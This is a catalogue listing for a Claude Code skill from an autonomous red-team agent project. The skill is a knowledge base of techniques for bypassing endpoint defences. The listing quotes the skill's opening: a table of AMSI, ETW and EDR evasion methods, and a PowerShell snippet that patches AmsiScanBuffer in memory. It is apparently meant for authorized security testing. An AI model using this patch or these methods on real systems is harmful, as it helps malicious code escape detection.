defense-evasion

defense-evasion is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 40 tokens per session (5,215 once invoked), scanned A, original, Apache-2.0.

A security-testing reference for methods that bypass or weaken endpoint protections such as antivirus, EDR, AMSI, and ETW. It covers named techniques, tools, risk levels, and MITRE ATT&CK mappings.

In plain words
What is it for?
Use it to study or emulate endpoint-defense bypasses, including logging changes, encrypted payloads, trusted-system utilities, process injection, and custom loaders.
Why use it?
It collects defense-evasion techniques and their risks in one place. The material is intended for controlled testing because these methods can hide malicious code or activity.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to study or emulate endpoint-defense bypasses, including logging changes, encrypted payloads, trusted-system utilities, process injection, and custom loaders.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/defense-evasion
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill defense-evasion
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for defense-evasion

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/defense-evasion/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/defense-evasion)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/defense-evasion"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/defense-evasion/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for defense-evasion

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/defense-evasion"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/defense-evasion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 40 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,215 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high System Prompt Leakage · line 45
    Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
    Fix: Remove any instructions that reveal, print, or output system prompts or internal rules. System instructions should never be exposed to end users.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00040 $0.05215
Opus 5 $0.00020 $0.02608
Sonnet 5 $0.00008 $0.01043
Haiku 4.5 $0.00004 $0.00522

Measured 11d ago against content hash 546e08850032, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

defense-evasion scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md · 490 lines

How it starts

The opening of the file, as written. The whole thing — 490 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

Task Technique Risk Level
Disable AMSI Memory patch AmsiScanBuffer Medium
Disable AMSI (stealthier) Hardware breakpoint on AmsiScanBuffer Low
Disable ETW Patch EtwEventWrite Medium
Unhook EDR DLLs ScareCrow / manual ntdll reload High
Generate evasive payload ScareCrow with AES encryption Medium
Execute via LOLBAS mshta, certutil, rundll32, regsvr32 Varies
Process injection Process hollowing, early bird High
Custom loader Nim/Rust/Go shellcode runner Low-Medium

MITRE ATT&CK Mapping

Technique ID Name Evasion Relevance
T1562 Impair Defenses AMSI/ETW patching, disabling logging
T1027 Obfuscated Files or Information AES-encrypted shellcode, encoding
T1055 Process Injection Hollowing, APC injection, thread hijack
T1218 System Binary Proxy Execution LOLBAS (mshta, rundll32, regsvr32)
T1036 Masquerading Spoofed code signing, renamed binaries
T1140 Deobfuscate/Decode Files Runtime decryption of payloads

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Read the full file on GitHub · 490 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 490 lines · 40 tokens per session scan A 546e08850032

Subscribe to this mod's changes

defense-evasion is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 40 tokens to every session and 5,215 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.